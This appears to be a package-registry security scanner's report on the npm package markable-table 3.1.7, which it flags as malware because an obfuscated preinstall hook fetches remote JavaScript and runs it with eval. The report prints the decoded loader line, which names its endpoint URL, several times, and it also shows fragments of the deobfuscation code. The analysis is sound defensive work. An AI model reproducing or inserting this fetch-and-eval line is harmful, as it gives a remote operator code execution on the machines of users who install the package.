registry  /  markable-table  /  3.1.7

markable-table@3.1.7

Generate a markdown (GFM) table

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Install-time remote-code execution is confirmed. Installing the package runs an obfuscated loader that fetches and evaluates server-controlled JavaScript.

Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm package installation, via the `preinstall` lifecycle hook.
Impact
Remote operator can execute arbitrary JavaScript in the installing user's environment.
Mechanism
obfuscated preinstall fetch-and-eval loader
Attack narrative
On installation, npm executes `node index.d.js`. That file Base64-decodes a JavaScript string, dynamically resolves `eval`, and runs it. The decoded code fetches text from the Vercel endpoint and evaluates the response, allowing the endpoint operator to deliver arbitrary install-time code without changing the published package.
Rationale
The package contains a concrete, obfuscated preinstall remote payload loader rather than a package-aligned feature. This establishes malicious install-time arbitrary code execution.
Evidence
package.jsonindex.d.jsindex.js
Network endpoints1
everydaynodechecker-39143n.vercel.app/api/key?mem=root0

Decision evidence

public snapshot
AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
  • `package.json` defines `preinstall: node index.d.js`.
  • `index.d.js` decodes an obfuscated Base64 payload.
  • Decoded payload fetches `https://everydaynodechecker-39143n.vercel.app/api/key?mem=root0`.
  • Fetched response text is executed with `eval` during preinstall.
  • `index.d.js` also constructs `eval` dynamically before invoking it.
Evidence against
  • `index.js` is a local markdown-table formatter with no observed network or execution behavior.
  • No benign package functionality requires the preinstall downloader.
Behavioral surface
SourceNo risky source behavior triggered.
Supply chain
HighEntropyStringsObfuscated
ManifestNo manifest risk signals triggered.
scanned 2 file(s), 10.5 KB of source

Source & flagged code

5 flagged · loading source
package.jsonView file
•scripts.preinstall = node index.d.js
High
Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg
index.d.js#virtual:base64:round1View file
1(async()=>eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root0').then(r => r.text())));
Critical
Download Execute

Source downloads or fetches remote code and executes it.

index.d.js#virtual:base64:round1View on unpkg · L1
1(async()=>eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root0').then(r => r.text())));
Critical
Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.d.js#virtual:base64:round1View on unpkg · L1
1Trigger-reachable chain: scripts.preinstall -> index.d.js L1: (async()=>eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root0').then(r => r.text())));
Critical
Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.d.js#virtual:base64:round1View on unpkg · L1
index.d.jsView file
3const b4 = '[redacted]=' L4: const text = Buffer.from(b4, "base64").toString("utf-8"); L5: let nms = [101, 118, 97, 108]
High
Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.d.jsView on unpkg · L3

Findings

3 Critical2 High1 Medium3 Low
CriticalDownload Executeindex.d.js#virtual:base64:round1
CriticalRemote Asset Decode Executeindex.d.js#virtual:base64:round1
CriticalTrigger Reachable Dangerous Capabilityindex.d.js#virtual:base64:round1
HighInstall Time Lifecycle Scriptspackage.json
HighBase64 Obscured Urlindex.d.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowObfuscated
LowHigh Entropy Strings